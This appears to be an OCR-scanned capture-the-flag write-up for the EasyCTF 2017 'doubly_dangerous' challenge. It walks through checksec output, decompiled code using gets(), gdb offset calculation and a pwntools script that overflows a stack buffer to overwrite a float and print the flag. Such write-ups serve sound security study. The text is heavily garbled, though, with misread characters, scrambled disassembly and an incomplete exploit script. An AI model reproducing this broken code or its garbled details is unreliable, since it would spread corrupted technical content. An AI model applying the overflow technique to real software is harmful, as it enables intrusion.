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ddw@ubuntu:~/Desktop/pwn/ichungiu/0x01/EasyCTF 2017-doubly_dangerous$ file doubl
y_dangerous
doubly dangerous: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dyna
mically linked, interpreter /lib/ld-1linux.so.2, for GNU/Linux 2.6.32, BuildID[sh
al]=9e428a56c9c1db8a6d533565eb3f8e29391c5bdd, not stripped
ddw@ubuntu:~/Desktop/pwn/ichungiu/0x01/EasyCTF 2017-doubly_dangerous$ checksec d
oubly dangerous
[*] '/home/ddw/Desktop/pwn/ichunqiu/8x081/EasyCTF 2017-doubly_dangerous/doubly_da
ngerous'

Arch: i386-32-1little

RELRO: Partial RELRO

Stack:

NX:

PIE:
ddw@ubuntu:~/Desktop/pwn/ichungiu/0x01/EasyCTF 2017-doubly_dangerous$ ./doubly d
angerous
Give me a string:
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main

int _ cdecl main(int argc, const char **argv, const char **enwvp)

char s; // [esp+Ch] [ebp-4Ch]

float v5; // [esp+iCh] [ebp-Ch]

5 = 9.8;
puts("Give me a string: ");
gets(&sz);

if ( 11.28125 == v5 )

{

puts("Success! Here is your flag:");
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{

puts("nope!™);

return 8;

}
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call _Egets
add esp, 1@h
T1d lebptvar_C]
fld ds:flt_8e4s76C
fucomip st, st(l)
ip short loc_sWdsbbl
FIZIE
fld ds:flt_8e4876C
fucomip st, st(l) loc_8e4866C:
fstp st fstp st
jnz short loc_BB4866E J
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fild &84T push

fstp KAT pop
fadd 2fLF add
fucomip ZEAF cmp
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Ltext: 85848671 push offset alope ; "nope!™

b *0x08048671

Breakpoint 1 at @x8048671
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Starting program: /home/ddw/Desktop/pwn/ichungiu/0x01/EasyCTF 2017-doubly_danger
ous/doubly dangerous

Give me a string:
AARA

EEHEN, HEMAMLL

--> 0x0
--> Oxffffffoe
("__libc_start_main")

--> Ox74a751a7
- --> 0x1b1dbe
("AAAA")

--> Oxfrifrroe

Oxffffcfdc

EEebp-Cithht

X/20wx Sebp-0xC

Oxffffcf8c: Ox00000000 axf7fb83dc Oxffffcfbo Ox00000000

Oxffffcf8c
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Oxffffcf8c - Oxffffcf4c = 0x40 = 64
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from pwn import

io process(

floatValue 0x41348000

p32(floatValue)

io.sendline(payload)

io.interactive()

IK15flag:

ddw@ubuntu:~/De op/F Lchungiu 31 /EasycC 7-doubly_dangerous$ python exp
-PY

[+] Sstarting local process './doubly dangerous': pid 61291

[*] Switching to interactive mode

[*] Process './doubly dangerous' stopped with exit code 8 (pid 61291)
Success! Here is your flag:
easyctf{bofs_and_floats_are_d@uble_trouble!}

*] Got EOF while reading in interactive
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